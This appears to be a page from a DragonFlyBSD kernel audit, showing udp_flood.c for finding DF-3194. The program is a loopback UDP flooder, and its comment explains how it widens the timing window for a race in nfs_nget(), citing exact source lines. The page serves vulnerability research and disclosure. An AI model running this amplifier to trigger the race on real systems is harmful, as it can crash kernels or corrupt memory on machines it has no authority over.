⬢ DragonFlyBSD Kernel Audit
DF-3194 / udp_flood.c
← back to finding ↓ download raw
/* udp_flood.c - DF-3194 amplifier: saturation loopback UDP traffic.
 *
 * Every loopback datagram is dispatched through the guest's netisr/
 * protocol threads, which run at LWKT priorities that preempt in-kernel
 * user threads.  Under saturation the softint/netisr work stretches into
 * the 100us+ range, giving exactly the mid-scan descheduling window the
 * nfs_nget() duplicate-validation race (sys/vfs/nfs/nfs_node.c:189-202)
 * needs: the preempted thread's lwkt tokens are released by lwkt_switch
 * (sys/kern/lwkt_thread.c:636), another CPU completes a whole nfs_nget()
 * creation for the same file handle, and the stale thread then takes the
 * vx_put(fresh VNON vnode) path at nfs_node.c:194.
 */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int
main(void)
{
	struct sockaddr_in sin;
	char buf[64];
	int s, n = 0;

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);
	sin.sin_port = htons(9);	/* discard - closed is fine too */

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }
	memset(buf, 0x41, sizeof(buf));
	for (;;)
		if (sendto(s, buf, sizeof(buf), 0,
		    (struct sockaddr *)&sin, sizeof(sin)) > 0)
			n++;
	/* NOTREACHED */
	return 0;
}